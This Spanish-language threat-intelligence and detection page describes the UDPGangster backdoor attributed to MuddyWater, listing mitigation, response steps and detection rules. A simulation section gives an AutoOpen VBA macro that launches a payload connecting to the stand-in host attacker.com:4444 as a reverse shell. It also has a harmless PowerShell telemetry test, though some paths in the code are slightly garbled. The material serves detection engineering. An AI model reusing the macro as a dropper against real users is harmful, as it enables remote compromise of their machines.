Ataques de UDPGangster se Extienden a Múltiples Países
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
UDPGangster es una puerta trasera basada en UDP utilizada por el grupo de amenazas MuddyWater para controlar remotamente hosts de Windows. El compromiso inicial se produce a través de un documento de Word malicioso que utiliza macros VBA para soltar y ejecutar la carga útil. El malware realiza extensas verificaciones de anti-análisis y mantiene la persistencia copiándose en el directorio AppData del usuario y creando una clave Run. Se han observado campañas recientes dirigidas a usuarios en Turquía, Israel y Azerbaiyán.
Investigación
FortiGuard Labs examinó los correos electrónicos de phishing, la macro VBA incrustada, el ejecutable descargado y sus técnicas de persistencia. Extraeron indicadores como rutas de archivos, entradas de ejecución en el registro, nombres de mutex y la infraestructura C2 asociada. Al correlacionar direcciones IP, dominios y rutas PDB, los analistas pudieron vincular esta actividad a operaciones anteriores de MuddyWater.
Mitigación
Los pasos de mitigación incluyen el bloqueo de macros o una sólida capacitación de usuarios para evitar la ejecución de macros, y el despliegue de defensas en el endpoint que detecten escrituras sospechosas en carpetas públicas o de perfiles de usuarios, así como modificaciones a las claves de registro Run. Los equipos de red deberían monitorear el tráfico UDP anómalo en el puerto 1269 y bloquear direcciones IP y dominios maliciosos conocidos para interrumpir los canales C2.
Respuesta
Cuando se detecta actividad de UDPGangster, aísle el endpoint afectado, recopile memoria volátil e imágenes completas del disco, y busque el binario de la puerta trasera y artefactos relacionados. Bloquee la infraestructura C2 identificada, realice un análisis forense exhaustivo para descubrir sistemas comprometidos adicionales y actualice las firmas de seguridad para detectar tanto los documentos macro maliciosos como la carga útil de la puerta trasera.
Flujo de Ataque
Detecciones
Detección de Comunicación C2 de UDPGangster vía Puerto UDP 1269 [Conexión de Red de Windows]
Ver
Ejecución Remota de Comandos de UDPGangster vía CreateProcessA y cmd.exe [Creación de Procesos de Windows]
Ver
Detección de Creación de Mutex de UDPGangster [Sysmon de Windows]
Ver
IOCs (SourceIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países
Ver
IOCs (DestinationIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países
Ver
Ejecución de Simulación
Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber sido aprobada.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante entrega un documento de Word malicioso que contiene una macro VBA. La macro llama a la API de WindowsCreateProcessApara generarcmd.exey ejecutar la carga útil de UDPGangster (udp_gangster.exe). La carga útil establece una shell inversa al servidor C2 del atacante. Debido a que la macro pasa explícitamente la cadena “CreateProcessA” y el literalcmd.exeen la línea de comandos, la regla de detección coincidirá.-
Macro VBA (simplificada) – demuestra la llamada a la API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Desplegar la macro, abrir el documento y dejar que la macro se ejecute. El evento de creación del proceso resultante contendrá:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Script de Prueba de Regresión: El siguiente script de PowerShell reproduce exactamente la telemetría sin requerir un documento de Word. Llama a la API nativa de Win32
CreateProcessAvíaAdd-Type.# Prueba regresiva: llamada directa a CreateProcessA con cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Comandos de Limpieza: Remueva el artefacto creado durante la simulación.
# Eliminar el archivo de registro temporal generado por la simulación Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue